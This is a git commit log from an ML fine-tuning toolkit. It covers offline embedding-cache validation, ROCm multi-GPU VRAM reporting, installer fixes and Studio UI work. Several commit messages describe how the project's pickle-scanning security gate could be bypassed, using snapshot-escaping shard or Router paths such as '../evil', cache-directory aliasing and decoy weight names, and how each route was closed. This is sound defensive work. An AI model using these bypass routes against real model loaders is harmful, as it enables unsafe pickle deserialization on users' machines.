  verify commit from the snapshot directory name, removing a second refs/main read
  and the skew it allowed.
- Drop the now-unused pickle-name wrapper.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten offline embedding classification and the pickle gate

Close a set of offline edge cases where validation accepted a cache the
local_files_only load then rejects, and one gate bypass:

- Credit a sharded model.safetensors.index.json for a pickle sibling only at a
  from_pretrained root. A non-Transformer SentenceTransformer module (Dense,
  WordEmbeddings, StaticEmbedding) loads via Module.load_torch_weights, which
  reads model.safetensors then pytorch_model.bin and never the index, so a sharded
  safetensors index in such a module dir must not vouch for its pytorch_model.bin.
- Stop counting pytorch_model.safetensors as loadable in the offline classifier:
  the loader probes model.safetensors (then its index) or pytorch_model.bin, never
  pytorch_model.safetensors, matching the gate that already treats it as a decoy.
- Treat a present but unreadable weight index as incomplete: transformers opens
  and parses any present index, so a malformed one or one without a weight_map
  fails the load rather than falling back to filename-numbered shards.
- Require the CLIP image-processor config (preprocessor_config.json) for a CLIP
  module: CLIPModel.load builds a CLIPProcessor that needs it, so a tokenizer
  alone is not enough.
- Require a SparseStaticEmbedding config to actually select idf.json (a path
  ending .json) or ship loadable weights; a bare idf.json the config does not name
  falls through to load_torch_weights and raises.
- Do not use the tag-only recorded-verdict fallback when modules.json is present:
  with the file present the loader takes the modules.json path, so a present but
  empty or malformed manifest must not be validated as a plain root Transformer.
- Import-hoist linter: only a module-level conditional mutation or a function that
  declares global __all__ makes the export set opaque; a __all__ bound as a local
  in a nested function or class no longer masks a genuinely unused hoisted import.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scope Router-child pickles to their deepest load root and gate the ST offline kwarg

The online scan stripped the first matching load-subdir prefix from a flagged file, so a
nested Router child pickle (0_Router/query_0_WordEmbeddings/pytorch_model.bin) matched the
parent 0_Router root, looked like an unreferenced nested shard, and slipped the gate even
though Router.load() deserializes that child directly. Match the deepest (longest) load
subdir instead, so the child becomes root-level under its own load root and blocks.

pyproject sets no lower bound on sentence-transformers and the local_files_only constructor
arg is absent on older releases, so always forwarding it broke every embedder warm on those
installs. Pass it only for an offline load; an online warm never forwards it and works as
before, while the offline capability still requires a version that supports it.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Reject snapshot-escaping shard paths and credit Transformer submodule safetensors

The offline pickle enumerator joined a weight-index weight_map value straight to the load
root and followed it, so a repo-controlled index mapping "../.." into a sibling snapshot
made an offline from_pretrained deserialize an out-of-snapshot pickle, and an online load
would then hash and record that external file as the scanned commit's clean content. Reject
any shard path that escapes the snapshot root and fail closed, mirroring the canonical-root
check the online shard scan already applies.

A complete model.safetensors.index.json was credited over a sibling pickle only at the
snapshot root, but a Transformer module subdirectory (0_Transformer/) is loaded via
AutoModel.from_pretrained, which honors that shard set and never reads the pickle. Credit the
sharded index for Transformer-typed modules declared in modules.json so a cached model that
ships both a sharded safetensors checkpoint and an unused PyTorch checkpoint is no longer
falsely blocked offline. Non-Transformer modules (Dense, WordEmbeddings, StaticEmbedding) read
a flat weight with no index and keep their pickle blocked.

Limit the import-hoist verifier's global __all__ scan to the declaring function's own scope so
a nested inner-scope local __all__ no longer marks the module export set opaque and mask an
unused hoisted import.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scope Router children against the snapshot and mirror the ST alias rewrite

Router.load resolves each child at Path(subfolder, model_id) relative to the Router dir, so a
nested 1_Router with a "../evil" child points at evil/ inside the snapshot and the loader
deserializes evil/pytorch_model.bin. The offline enumerator canonicalized the child against
the Router dir alone and dropped anything with "..", so that pickle was never scanned and the
gate reported the cache pickle-free. Canonicalize router children against the snapshot,
retaining in-snapshot siblings as load roots and failing closed on a child that escapes the
snapshot itself, matching the online scan which already joins the prefix before normalizing.

The security gate resolved a slashless model id by probing the bare cache dir first, but the
SentenceTransformer constructor rewrites a non-basic slashless name to sentence-transformers/
<name> and loads THAT snapshot (only the basic ORIGINAL_TRANSFORMER_MODELS load bare). With
both models--<name> and models--sentence-transformers--<name> cached, the gate inspected the
bare dir while the loader read the namespaced one, so a pickle there bypassed the local-only
gate. Mirror the constructor: try the namespaced candidate first for non-basic slashless names.

Add the same not (snapshot / modules.json).is_file() guard to the transient-Hub-failure
tag-only fallback that the offline branch already carries, so a cache whose present manifest is
empty or malformed is no longer reported as a loadable embedder.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten root shard credit, module-path escapes, and weight-set probe order

Credit the sharded safetensors index at the snapshot ROOT only when the root is actually loaded
through an AutoModel/from_pretrained path. A modules.json root module of a non-Transformer type
(StaticEmbedding / WordEmbeddings / Dense) loads via load_torch_weights, which reads
pytorch_model.bin and ignores the index, so crediting a root shard index there suppressed a live
root pickle and let the offline gate report the cache pickle-free.

Recognize the Transformer subclasses CLIPModel and MLMTransformer as index-honoring load roots
(they load via from_pretrained), so a sharded-safetensors CLIP/MLM submodule with a legacy
pytorch_model.bin sibling is no longer falsely blocked offline. Mirrors the classifier dispatch.

Fail closed on an absolute or snapshot-escaping modules.json module path (or load_subdirs entry)
instead of silently dropping it: SentenceTransformer resolves such a path outside the snapshot and
would deserialize an external pytorch_model.bin the gate cannot scan.

On the classifier side, walk the weight set in the exact from_pretrained probe order
(model.safetensors, its index, pytorch_model.bin, its index) so a pickle behind a malformed
safetensors index is no longer accepted as complete, and restrict shard names to the loader-probed
stem/ext pairs so a decoy model-*.bin / pytorch_model-*.safetensors set is not treated as loadable.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Restore scripts/verify_import_hoist.py to main

The offline embedding cache fix does not depend on the __all__ scope
handling that had accumulated in this linter, so revert the file to its
main version and keep the PR focused on the feature. The feature modules
still pass the existing import hoist check unchanged.

* Reuse a shared HF cache skeleton in the offline classification tests

Extract _mk_repo and _activate helpers for the repeated snapshot cache
setup that every per-type builder duplicated, and fold the two
StaticEmbedding missing-asset cases into one parametrized test. Same 125
collected items, all still passing.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Reclassify embedding models from the cache on every offline call

is_embedding_model consulted its process memo before the offline branch, so an
online lookup that memoized True from tags (without caching any weights) was returned
unchanged once the session went offline -- the studio flips HF_HUB_OFFLINE in-process
on a dead DNS, and the ungated check-embedding route can populate the memo. Settings
would then accept a repo the offline loader cannot open. Run the offline
cache-marker reclassification ahead of the memo and never record it, so an offline
verdict always reflects the local cache and a later cache materialization is not
masked by a stale negative. Add regression tests.

* Tighten comments on the offline embedding path

Condense the offline-embedding helper docstrings and inline comments added in
this PR to fewer, clearer lines, keeping the non-obvious security and offline
rationale. Comments and docstrings only; no code change.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-22 04:05:08 -07:00
Hakan Baysal
55433bd7b8
studio: show system-wide VRAM in the multi-GPU System tab view on ROCm (#7216)
* studio: show system-wide VRAM in the multi-GPU System tab view on ROCm

The System tab's per-GPU list comes from get_visible_gpu_utilization. When
amd-smi is unavailable (always on Windows, minimal Linux installs) it fell back
to torch, whose readings are process-local: on Windows WDDM hands each process
its own budget, so a model held by the separate llama-server process read as
~0 VRAM used even with the GPU full (#7072). The primary-GPU endpoint already
compensates with system-wide sources -- Windows Performance Counters (Task
Manager's source) and Linux DRM sysfs -- but the multi-device endpoint never
got those fallbacks.

Add per-GPU variants of both sources and overlay them onto the torch fallback:
_rocm_windows_perf_counter_vram_per_adapter_gb() attributes Dedicated Usage per
physical adapter (phys_<N> in the counter instance name), and
_rocm_linux_sysfs_vram_per_card_gb() reads mem_info_vram_{used,total} per DRM
card. _overlay_system_wide_vram() applies them to the device list, ROCm-only,
best-effort: unmatched adapters and ambiguous card counts keep the torch
figures, and NVIDIA paths are untouched.

Fixes #7072

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: match VRAM overlay sources by device, honor unified memory, unblock the loop

Five review fixes on the multi-GPU system-wide VRAM overlay:

1. Linux: match DRM cards to devices by PHYSICAL index instead of a positional
   zip, so a reordering visibility mask (HIP_VISIBLE_DEVICES=1,0) no longer
   swaps each card's figures onto the other GPU (which would mislead
   auto_select_gpu_ids and the coexistence checks). An index with no matching
   card keeps its torch figures.

2. Linux: skip the overlay for a device whose sysfs total is below torch's --
   on unified-memory APUs (Strix Halo) mem_info_vram_total is only the small
   dedicated slice while torch sees the GTT-backed pool, and
   _apply_unified_memory_correction already defines larger-total-wins.

3. Windows: group counter instances by adapter LUID, not the phys_<N> suffix --
   separate adapters each read phys_0, which collapsed every GPU into key 0.
   LUIDs are mapped to 0-based positions by ascending value as the closest
   stand-in for device order.

4. Windows: pair the system-wide usage with the physical capacity from
   get_device_properties (as the primary-GPU fallback does) -- under WDDM
   mem_get_info's "total" is the process budget, which misreported capacity
   and pushed utilization to 100%.

5. Run get_visible_gpu_utilization off the event loop in the /hardware/visible
   route (asyncio.to_thread, the repo's convention): the ROCm fallbacks can
   shell out to PowerShell with a 5s timeout, which would stall every other
   request while the System view polls.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: skip the system-wide VRAM overlay for relative GPU indices

The overlay matches its per-GPU sources (Windows perf counters, Linux sysfs) by
physical device index, but under a UUID/MIG visibility mask the torch fallback
enumerates ordinals and reports index_kind == "relative", where `index` is a
visible ordinal, not a physical id. Applying the overlay there let card/adapter
0's system-wide VRAM overwrite the torch reading of a process that actually
exposes physical GPU 1, misleading auto_select_gpu_ids and the coexistence
checks. Gate the overlay on index_kind == "physical"; relative-index paths keep
the torch fallback.

* studio: drop the unreliable Windows VRAM overlay, keep the Linux one

The multi-GPU system-wide VRAM overlay is now Linux-only. The Windows
per-adapter Performance Counter path could not be made correct: the wildcard
Get-Counter query also returns non-ROCm/iGPU adapters and LUID order is not the
ROCm device order, so an adapter's usage could be overlaid onto the wrong GPU;
and it read only Dedicated Usage, missing WDDM shared memory on unified-memory
GPUs (Strix Halo), overstating free VRAM. Rather than misattribute VRAM and
skew placement decisions, Windows keeps the process-local torch fallback (no
regression vs before this PR); Linux DRM sysfs -- matched by physical index --
still fixes #7072 for the reporter's native-Linux ROCm case.

Removes _rocm_windows_perf_counter_vram_per_adapter_gb and _torch_props_total_gb.

* studio: key sysfs VRAM by DRM card number so filtering can't renumber cards

_rocm_linux_sysfs_vram_per_card_gb dropped cards with a zero total or unreadable
files and then the overlay enumerated the compacted list, so if card0 was
dropped, card1's usage was assigned to physical GPU index 0 (equal-capacity GPUs
slip past the unified-memory total guard). Return {card_number: (used, total)}
and match a device to its card number directly: a hole stays a hole -- device 0
keeps its torch figures when card0 is absent, and card1 maps to device 1.

* studio: key system-wide VRAM by ROCm ordinal, not raw DRM card number

When a non-amdgpu adapter (Intel iGPU, a display-only card) owns an earlier
DRM slot, DRM card numbers stop equalling ROCm device ordinals -- Intel card0
plus AMD card1/card2 gives ROCm devices 0/1, so keying the sysfs overlay by
card number handed ROCm device 1 card1's data (AMD device 0) and left device 0
on stale torch figures, corrupting free-VRAM placement on equal-capacity GPUs.

Only amdgpu cards expose mem_info_vram_*, so the glob already excludes foreign
adapters; order the surviving cards by their PCI address (ROCm/HIP's default
device order, read from each card's device symlink) and key by that position --
the ROCm physical ordinal, which is what the overlay matches against dev index.
An unreadable / zero-total amdgpu card still consumes its ordinal so a later
card is never renumbered onto its slot.

* studio: skip the VRAM overlay under layered HIP-over-ROCR masks

ROCR_VISIBLE_DEVICES filters physical GPUs at the HSA/ROCr layer, and a
HIP_VISIBLE_DEVICES set on top selects WITHIN that already-filtered set
(apply_gpu_ids sets HIP while leaving an inherited ROCR mask in place). When
both are active _get_parent_visible_gpu_spec() prefers the HIP value, so the
reported device index is a ROCR-relative ordinal, not a physical GPU id --
overlaying DRM-sysfs figures by that index would pull another GPU's usage
(e.g. ROCR=2,3 + HIP=1 is physical GPU 3, but the overlay would read card 1),
and equal-capacity cards bypass the total-size safeguard. Detect layered masks
and keep torch's process-local figures there rather than risk misattribution;
a single mask still leaves the index physical and is overlaid as before.

* studio: only overlay whole-card VRAM onto 1:1 ROCm devices

The overlay guard only skipped the case where sysfs total < torch total
(unified-memory APUs), so a partitioned ROCm device (MI300 in CPX mode) --
where HIP exposes several logical devices per physical card but sysfs reports
the whole card's aggregate -- passed the guard: the card total exceeds a
partition's torch total, and the overlay overwrote the partition with
whole-card usage and capacity, letting downstream selection think a partition
had the entire card free. Require the sysfs card total to match the torch
device total (within ~10%) so a mismatch in either direction -- unified memory
(sysfs smaller) or partitioning (sysfs larger) -- keeps torch's figures.

* studio: treat CUDA-over-ROCR as layered, enumerate AMD cards by driver

Two remaining mismatches between the reported device index and the DRM card the
overlay reads:

- On ROCm the HIP layer honors CUDA_VISIBLE_DEVICES as well as
  HIP_VISIBLE_DEVICES, so a CUDA mask composed over ROCR layers identically:
  ROCR=2,3 with CUDA=1 is physical GPU 3, yet the spec reports the ROCR value
  [2,3] and the device was labeled index 2, overlaying card 2's usage onto GPU 3.
  The layered check now treats ROCR combined with either HIP or CUDA as layered.

- The ROCm device set is now enumerated by bound driver (device/driver resolves
  to amdgpu) instead of by the presence of mem_info_vram_*. An AMD device with
  incomplete sysfs support (some APUs expose no VRAM files at all) was omitted
  by the glob entirely and shifted every later card down one ordinal, letting a
  similar-capacity GPU pass the total guard with another device's usage. Such a
  card now consumes its ordinal and simply yields no entry.

* studio: honor GPU_DEVICE_ORDINAL and require an unambiguous card mapping

Two remaining ways the reported device index could be matched to the wrong DRM
card:

- GPU_DEVICE_ORDINAL is a supported ROCm visibility variable that
  _get_parent_visible_gpu_spec() never consults, so GPU_DEVICE_ORDINAL=1
  surfaces physical GPU 1 as torch ordinal 0 and it was mislabeled index 0,
  overlaying card 0's usage onto GPU 1. The mask check now covers it, and is
  renamed _rocm_device_index_unreliable() to say what it actually decides.

- driver == amdgpu is only a SUPERSET of the ROCm-visible set: an amdgpu-bound
  adapter HIP cannot enumerate (an unsupported older AMD GPU beside a supported
  one) still took an ordinal and shifted every real compute device. There is no
  torch-side PCI identity to match against, so the overlay now requires the
  amdgpu card count to equal the device count -- exactly the condition under
  which position-in-PCI-order is a sound 1:1 mapping. Any disagreement keeps
  torch's process-local figures: less informative, never misattributed.

* studio: keep the VRAM overlay working for masked GPU subsets

The card-count guard compared the amdgpu card list against the VISIBLE device
list, so any visibility mask disabled the overlay outright: HIP_VISIBLE_DEVICES=1,3
on a four-GPU host gives two devices against four cards. Those masked GPUs then
kept reporting process-local torch usage, hiding VRAM held by llama-server and
letting the training/chat placement checks overestimate free memory -- the exact
problem the overlay exists to fix.

The count check now applies only when no visibility mask is active, which is the
case where the reported devices really are the whole host and a mismatch means an
amdgpu adapter ROCm cannot enumerate is shifting the ordinals. Under a mask the
subset is expected, so each device's physical index is validated individually
instead: the per-card lookup bounds-checks it and the total-size guard rejects a
card whose capacity does not match the device's.

* studio: match GPUs to DRM cards by PCI identity, not by position

Every mapping bug on this PR came from the same root cause: there was no
authoritative link between a reported device index and a DRM card, so the
overlay kept inferring one positionally and each heuristic broke on a new host
shape -- foreign adapters on earlier DRM slots, cards with no VRAM sysfs, and
most recently amdgpu-bound adapters HIP cannot enumerate, which the count guard
could only catch on an unmasked host and therefore missed under any mask.

Use the link ROCm itself enumerates from. KFD topology
(/sys/class/kfd/kfd/topology/nodes/<N>/properties) lists exactly the GPUs HIP
exposes -- GPU nodes in node-id order are HIP's device order -- and each carries
its PCI location, so index N there IS physical device N with a stable identity.
DRM sysfs now supplies system-wide VRAM keyed by that same PCI address, and the
overlay is a join on it.

Every previous skew becomes a failed join rather than a misattribution: an
unenumerable adapter has no KFD node so it never takes an ordinal, a foreign
adapter contributes no entry, and a masked subset resolves each physical index
directly. That removes the count heuristic and its mask exception entirely. With
no KFD topology there is no identity to join on, so the overlay is skipped rather
than guessing positionally.

* studio: require verified host visibility and AMD-only KFD nodes

Three ways the identity map could still be built on a false premise:

- The NVIDIA open kernel module registers KFD topology nodes with a positive
  SIMD count, so an earlier NVIDIA node shifted every AMD ordinal and ROCm
  device 1 resolved to AMD GPU 0. GPU nodes now require vendor_id 4098 (0x1002),
  the same filter install.sh already applies for this exact reason.

- A GPU node with an unreadable properties file or no location_id was skipped,
  which silently shifted every later ordinal. Both now fail the whole map
  closed, so the overlay is disabled rather than misattributing.

- A container exposing only some render devices through device cgroups sets no
  visibility variable, yet torch compacts what it can see to ordinals from zero
  while the host-mounted KFD and DRM trees still list every GPU. Nothing in the
  reported payload distinguishes that from a full host, and torch exposes no PCI
  id to check against, so the overlay now runs only when host visibility is
  positively verified: no visibility mask AND device count equal to the host GPU
  count. That also subsumes the previous layered-mask and GPU_DEVICE_ORDINAL
  checks, so _rocm_device_index_unreliable() is gone.

This trades coverage for correctness: masked subsets and filtered containers now
keep torch's process-local figures instead of a mapping that cannot be verified.

* Fix the multi-GPU VRAM overlay docstring for PR #7216

The docstring claimed a reordering mask keeps each card on the right GPU,
but the overlay skips any active visibility mask and keeps torch's figures.
State the actual gating instead.

* Tighten comments in the multi-GPU VRAM overlay and its tests

Collapse the verbose docstrings and inline explanations added for the Linux
ROCm system-wide VRAM overlay to succinct one-liners, keeping the non-obvious
rationale (fail-closed KFD mapping, PCI-identity join, mask gating, the 10%
whole-card guard). Comments only, no behavior change.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
2026-07-22 03:55:35 -07:00
Daniel Han
f2f41bf9b1
Baseline two benign unsloth-zoo test-file findings in scan_packages (#7325)
The enforcing pip scan-packages hf-stack shard fails on two CRITICAL
staged-dropper findings in unsloth-zoo test files:
tests/test_mlx_save_export_regressions.py and
tests/test_vision_collator_audio.py. Both are false positives: the
combination heuristic matches a /tmp path literal alongside unrelated
subprocess/import references in the same file, but those are mocked test
fixtures (monkeypatch.setattr on subprocess, asserted /tmp path strings),
not droppers. Add both to the reviewed allowlist so the gate stops
red-failing on legitimate test code. The scan then exits 0 on both the
hf-stack shard and a direct unsloth-zoo scan.
2026-07-22 03:52:32 -07:00
oobabooga
8b3c37246c
Unsloth start improvements: download progress, server reuse, and safe model switching (#7313)
* Improve unsloth start runtime lifecycle

* Remove speculative Gemma prompt override

* Polish model download progress output

* Refine unsloth start status output

* Clarify unsloth readiness banner

* Clarify model reuse and switching output

* Queue model switches behind active inference

* Tighten unsloth start model switching

* Reduce model switch bookkeeping

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix Studio re-exec compatibility

* Recheck sidecar reservation after inference drain

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Pass start marker through child environment

* Fix key redaction, switch-waiter ordering, and stop/messaging gaps for PR #7313

- Redact minted sk-unsloth keys from the startup-failure log tail: the early
  key marker lands in the server log before the model load finishes, so a
  load-phase crash printed a live key to the terminal
- Deregister a finished switch waiter before releasing the swap gate so a
  swap on another event loop cannot count it as still queued and unload the
  model the finished request is about to generate against
- Warn on same-repo quant switches: an explicit variant replaces the resident
  weights for every attached session, but the repo ids match so no switch
  warning was printed
- Note the agent exit code when it is nonzero so the server keep-alive
  message does not read as a successful session
- Use taskkill /T in unsloth studio stop so llama-server children stop too

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments in start, studio, and inference changes

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-22 02:36:24 -07:00
Nilay
59bda2e1f7
Studio: reuse MLX prompt cache across turns instead of re-prefilling (#7311)
* Studio: reuse MLX prompt cache across turns instead of re-prefilling

* clean up

* key prompt cache on what the KV covers

* skip windowed KV caches past their window

* verify prefix coverage before caching KV
2026-07-22 02:35:33 -07:00
Michael Han
8517721adb
Studio: move sidebar search into the header (#7304)
* Studio: move sidebar search into the header

Put the search action as an icon button next to the sidebar toggle in
the header instead of a full-width nav row, so New Chat is the only
fixed row above the scrolling list. The search row is kept for the
collapsed icon rail only. Also add a small bottom gap under New Chat
when it is pinned during scroll.

* Studio: keep search row on custom-titlebar platforms

The header search button only renders on mac/web where the brand row
shows. On win/linux custom titlebars there's no header button, so keep
the full-width search row visible instead of hiding it.

* Studio: address review on sidebar search tooltip

- Hide the search tooltip on mobile (hidden={isMobile}), matching the
  SidebarMenuButton tooltip convention.
- Show Cmd K on Mac and Ctrl K elsewhere instead of a hardcoded glyph;
  the search dialog binds both meta and ctrl. Uses getClientPlatform so
  it is correct on web too, not just Tauri.
2026-07-21 23:25:56 -07:00
Daniel Han
4e1cb4affa
install.sh: route Strix to the AMD arch index on rocm7.2 (#7264) + PCI detection hint (#7293)
* install.sh: route Strix (gfx1151/gfx1150) to the AMD arch index on rocm7.2, add PCI hint

Two Linux install fixes for AMD Strix Halo / Strix Point:

1. #7264: Strix reverts to rocm7.2. Modern ROCm (7.3+) caps to the generic
   rocm7.2 index and the Radeon repo can be unavailable, so gfx1151/gfx1150
   landed on a non-arch-specific build (torch 2.11+rocm7.2) instead of
   repo.amd.com/rocm/whl/gfx<arch> (torch 2.11+rocm7.13, AMD's real Strix
   fixes). The reroute to that arch index only fired on rocm7.1; broaden it to
   rocm7.2 too. Only acts when a gfx1151/gfx1150 is actually detected, so other
   arches on rocm7.2 pass through unchanged.

2. Rows about Strix not detected -> CPU-only: when no GPU is detected but an AMD
   display GPU is on the PCI bus, print a targeted hint (ROCm kernel stack /
   /dev/kfd missing) instead of only the generic docs pointer. Purely
   additive diagnostic; does not change the torch index decision.

* Address review on PR #7293: gate PCI hint on ROCm-detection failure, fix test marker, use read builtin

- Only show the 'ROCm cannot see the GPU' hint when _has_amd_rocm_gpu fails;
  a detected-but-too-old ROCm (rocminfo works, wheels need 6.0+) has its own path.
- Update test_previous_torch_pin.sh to the stable 'Strix Halo / Strix Point:'
  marker after the heading reworded (the old grep broke the ordering assert).
- _amd_gpu_present_via_pci: read builtin instead of spawning cat twice per
  device, and guard /sys/bus/pci/devices existence.

* install.sh: reroute Strix on any generic index older than the arch build

Generalize the Strix reroute from the hardcoded rocm7.1/rocm7.2 match to a
version compare against the arch index's own build (rocm7.13):

- backwards: rocm6.0-6.4 and rocm7.0 now reroute (were silently missed)
- forwards: any future intermediate rocm7.x below 7.13 reroutes; rocm7.13+
  is left alone so a generic index that already carries the fix is not
  downgraded to the arch build

_rocm_index_below does an integer major.minor compare (so rocm7.2 < rocm7.13);
non-rocm, arch (gfx), and unparseable URLs return false, so NVIDIA/CPU and the
arch index itself are untouched. Reroute still fires only for gfx1150/gfx1151.

* install.sh: tighten _amd_gpu_present_via_pci comment (no code change)

* install.sh: match the index leaf in the Strix version reroute (#7293 review)

Address two review points on the rocm-version reroute:

- Parse the final path segment (_torch_index_leaf) instead of grepping the whole
  URL. A custom mirror whose base path holds its own rocm token (e.g.
  .../rocm7.13/cache/rocm7.2) previously matched the base and skipped the reroute;
  now it compares the leaf (rocm7.2) like the nearby index-family logic. Renamed
  the helper to _rocm_leaf_below and switched the case selector to $_torch_index_leaf.
- Replace the stale test_strix_override_only_fires_on_rocm71 (which passed by
  matching the new rocm7.13 comment) with an executed test that runs _rocm_leaf_below
  and asserts rocm6.0-7.12 reroute while rocm7.13+/gfx/cu leaves do not.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install.sh: keep gfx probes non-fatal under set -e (#7293 review)

The Strix reroute now matches every rocm* index, not just rocm7.1, so its gfx
detection runs on all AMD installs. Each `_gfx_all=$(rocminfo|amd-smi | grep -oE
gfx...)` returns 1 when grep finds no match, which under set -euo pipefail aborts
the installer before the next fallback runs (e.g. rocminfo present but emitting no
gfx token). Append `|| true` to the three probes, matching the display block that
already guards this. Add an executed regression test (shimmed rocminfo/amd-smi)
that fails if any probe becomes fatal again.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-21 19:40:59 -07:00
Solaris-star
5308c24e70
fix(install.ps1): use ordinal IndexOf when stripping index URL credentials (#7286)
* fix(install.ps1): use ordinal IndexOf when stripping index URL credentials

On non-English Windows locales, culture-aware String.IndexOf can
mis-locate punctuation-only markers like ://, which corrupts scheme and
authority parsing and crashes Remove-IndexUrlCredentials with a Substring
ArgumentOutOfRangeException (issue 7279).

Force Ordinal comparison for URL scheme/host parsing.

Fixes #7279

* Condense the ordinal parsing comment in Remove-IndexUrlCredentials

---------

Co-authored-by: Daniel Han <michaelhan2050@gmail.com>
2026-07-21 18:12:39 -07:00
Daniel Han
2c492c8d9b
Recognize Radeon 8065S (Gorgon Halo / Ryzen AI Max 400) as gfx1151 (#7290)
* Recognize Radeon 8065S (Gorgon Halo / Ryzen AI Max 400) as gfx1151

* Classify Radeon 8065S (Gorgon Halo) as unified memory in ROCm OOM guard

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-21 18:07:41 -07:00
Daniel Han
207a9f00bf
studio: extend the _grouped_mm null-kernel guard to Linux ROCm RDNA4 (gfx1201) (#7292)
* studio: extend the _grouped_mm null-kernel guard to Linux ROCm RDNA4

torch._grouped_mm has a null HIP kernel on RDNA4 (gfx1200/gfx1201) at
ROCm <= 7.12 (fixed in 7.13; ROCm/TheRock #5284). The existing guard that
registers a Python mm/bmm fallback was win32-only, so Linux gfx1201 (e.g.
R9700 Pro on Ubuntu) hits the null kernel -> illegal instruction during
training.

Extract the fallback registration into a module-level helper
(_install_grouped_mm_cpu_fallback) and add a Linux branch that installs it,
gated on gfx1200/gfx1201 AND HIP < 7.13 so NVIDIA/CUDA and every non-RDNA4
AMD arch are untouched, and it is a no-op on fixed runtimes. The Windows
path now calls the same helper with identical behavior.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Resolve HIP version from torch.__version__ when version.hip is unset for PR #7292

AMD SDK / Radeon ROCm wheels leave torch.version.hip empty and encode the
version only in torch.__version__ (e.g. +rocm7.12). The Linux gfx120X guard
parsed version.hip only, so those affected installs skipped the fallback and
still hit the null _grouped_mm kernel. Mirror the Windows parse: version.hip,
then the embedded rocmX.Y, then assume affected unless a post-fix rocmsdk wheel.

* Scan all GPUs and add RDNA4 name fallback for _grouped_mm guard in PR #7292

* worker.py: tighten gfx120X Linux guard comments (no code change)

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-21 18:01:07 -07:00
Ayushman
c1947ed946
fix(rocm): prepend system ROCm libs on native Linux to avoid bundled HIP crash (#7233)
* fix(rocm): prepend system ROCm libs on native Linux to avoid bundled HIP crash

Prebuilt llama.cpp bundles ship their own ROCR/HIP runtime which can be
incompatible with the host's amdkfd kernel driver, causing hsa_init()
to crash or report zero devices. The llama-server then silently falls
back to CPU while the UI reports GPU.

The existing workaround (_wsl_system_rocm_lib_dirs) that prepends
/opt/rocm/lib to LD_LIBRARY_PATH was gated on WSL (/dev/dxg) only,
leaving native Linux AMD hosts unprotected.

This commit adds _native_linux_system_rocm_lib_dirs(), a parallel
helper gated on:
- Linux platform (not WSL)
- /dev/kfd present (bare-metal AMD compute)
- Bundle contains bundled HIP libs (libggml-hip.so)
- System has libhsa-runtime64.so(.1)

It is called from both _llama_server_env_for_binary (serve-time)
and binary_env (install-time validation), directly after the WSL
block in both paths.

Fixes #7208

Fixes #7208

* Add UNSLOTH_LLAMA_NO_SYSTEM_ROCM opt-out to native-Linux system ROCm preference for PR #7233

Lets a host where the bundled runtime works but system ROCm is mismatched keep
the bundle. Mirrored in llama_cpp.py and install_llama_prebuilt.py.

* Prefer env-configured ROCm root over /opt/rocm fallback for PR #7233

Put HIP_PATH/HIP_PATH_57/ROCM_PATH-derived roots before /opt/rocm so a stale
/opt/rocm can't shadow the driver-matching install the env vars point at.
Mirrored in llama_cpp.py and install_llama_prebuilt.py.

* Match versioned libggml-hip.so via glob so the native-Linux ROCm fix fires for PR #7233

* Clarify native-Linux ROCm prepend uses the consistent system stack for PR #7233

* llama_cpp: tighten native-Linux ROCm prepend comments (no code change)

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-21 18:00:22 -07:00
Michael Han
b9a82d3dc7
Add project pinning, Projects list view, and project chat-session fixes (#7291)
* Add project pinning with sidebar chats, full project chat menu, and new-chat fixes

* Fold pinned projects into the Pinned section with chat icons and lighter show-more

* Address review: queue guard, HTTP-safe nonce, projects show-more, dialog state resets

- Project new-chat composer now shows Stop instead of Queue while running, and the queue click is guarded so a disabled queue cannot enqueue.
- Replace crypto.randomUUID with a helper that falls back on non-secure (HTTP LAN) contexts where it is undefined.
- Projects page keeps all projects reachable: the grid caps at four with a Show more/Show less toggle instead of hiding the rest.
- Reset the rename draft and the delete-files checkbox so a project dialog never opens with stale state.

* Address review: dedupe pinned chats, close drawer on nested nav, gate saved-prompt queue, reset delete toggle

- Pinned chats that live inside a pinned project now render only nested under the project, not a second time in the flat pinned list.
- Opening a chat nested under a pinned project closes the mobile drawer, matching the other sidebar nav handlers.
- The saved-prompt Run-list path now honours disableQueue, so running a prompt list from the project new-chat composer cannot queue against an unbound thread.
- Reset the delete-files toggle when opening a project delete, since the Cancel button closes the dialog programmatically and skips the onOpenChange reset.

